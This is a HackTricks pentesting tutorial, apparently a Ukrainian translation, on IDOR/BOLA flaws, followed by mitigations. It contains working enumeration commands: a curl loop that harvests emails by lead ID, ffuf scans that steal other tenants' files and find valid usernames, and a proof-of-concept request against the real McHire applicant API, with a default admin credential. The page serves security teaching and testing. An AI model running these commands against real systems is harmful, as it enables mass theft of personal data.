IDOR (Insecure Direct Object Reference)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) з’являється, коли web або API endpoint розкриває або приймає керований користувачем ідентифікатор, який використовується directly для доступу до внутрішнього об’єкта without verifying that the caller is authorized для доступу/зміни цього об’єкта. Successful exploitation normally allows horizontal or vertical privilege-escalation such as reading or modifying other users’ data and, in the worst case, full account takeover or mass-data exfiltration.


1. Виявлення потенційних IDOR

  1. Шукайте parameters that reference an object:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Віддавайте перевагу endpoint’ам, що read or update data (GET, PUT, PATCH, DELETE).
  2. Зверніть увагу, коли ідентифікатори sequential or predictable – якщо ваш ID is 64185742, then 64185741 probably exists.
  3. Досліджуйте приховані або альтернативні потоки (e.g. “Paradox team members” link in login pages) які можуть відкривати додаткові APIs.
  4. Використовуйте authenticated low-privilege session і змінюйте лише ID keeping the same token/cookie. The absence of an authorization error is usually a sign of IDOR.

Швидке ручне маніпулювання (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Автоматизована енумерація (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Перебір передбачуваних download ID (ffuf)

Аутентифіковані file-hosting panels часто зберігають метадані на користувача в одній таблиці files і надають endpoint завантаження, наприклад /download.php?id=<int>. Якщо обробник перевіряє лише наявність ID (а не чи належить він authenticated user), ви можете просканувати простір цілих чисел за допомогою вашого valid session cookie і вкрасти backups/configs інших tenants:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr видаляє 404-style templates, тож залишаються лише справжні збіги (наприклад, IDs 54/150 leaking full site backups and signing material).
  • Той самий FFUF workflow працює з Burp Intruder або curl loop — просто переконайтеся, що ви залишаєтесь аутентифікованими під час інкрементування IDs.

Оракул помилкових відповідей для виявлення користувачів/файлів

Коли кінцева точка для завантаження приймає і ім’я користувача, і ім’я файлу (наприклад, /view.php?username=<u>&file=<f>), тонкі відмінності в повідомленнях про помилки часто створюють оракул:

  • Неіснуюче ім’я користувача → “User not found”
  • Невірне ім’я файлу, але дійсне розширення → “File does not exist” (іноді також перераховує доступні файли)
  • Невірне розширення → помилка валідації

З будь-якою аутентифікованою сесією ви можете fuzz параметр username, утримуючи безпечне ім’я файлу, і фільтрувати по рядку “user not found”, щоб виявити дійсних користувачів:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Після визначення дійсних імен користувачів, безпосередньо запитуйте конкретні файли (наприклад, /view.php?username=amanda&file=privacy.odt). Цей шаблон часто призводить до несанкціонованого розкриття документів інших користувачів та credential leakage.


2. Реальний кейс – McHire Chatbot Platform (2025)

Під час оцінки порталу підбору персоналу McHire, який працює на Paradox.ai, було виявлено наступний IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: cookie сесії користувача для будь-якого тестового акаунта ресторану
  • Body parameter: {"lead_id": N} – 8-значний, послідовний числовий ідентифікатор

Зменшуючи lead_id, тестер отримав довільні повні PII заявників (ім’я, e-mail, телефон, адреса, переваги змін) плюс користувацький JWT, який дозволив session hijacking. Enumeration діапазону 1 – 64,185,742 виявив приблизно 64 мільйони записів.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

У поєднанні зі стандартними обліковими даними адміністратора (123456:123456), які дозволяли доступ до тестового акаунта, ця вразливість призвела до критичного витоку даних по всій компанії.


3. Наслідки IDOR / BOLA

  • Горизонтальне підвищення привілеїв – читання/оновлення/видалення інших користувачів’ даних.
  • Вертикальне підвищення привілеїв – користувач з низькими привілеями отримує функціональність лише для адміністратора.
  • Масовий витік даних, якщо ідентифікатори послідовні (наприклад, applicant IDs, invoices).
  • Захоплення акаунта шляхом викрадення токенів або скидання паролів інших користувачів.

4. Mitigations & Best Practices

  1. Enforce object-level authorization для кожного запиту (user_id == session.user).
  2. Віддавайте перевагу indirect, unguessable identifiers (UUIDv4, ULID) замість автоінкрементних ID.
  3. Виконуйте авторизацію server-side, ніколи не покладайтеся на hidden form fields або UI controls.
  4. Реалізуйте RBAC / ABAC перевірки в центральному middleware.
  5. Додайте rate-limiting & logging для виявлення перебору ідентифікаторів.
  6. Тестуйте безпеку кожного нового endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks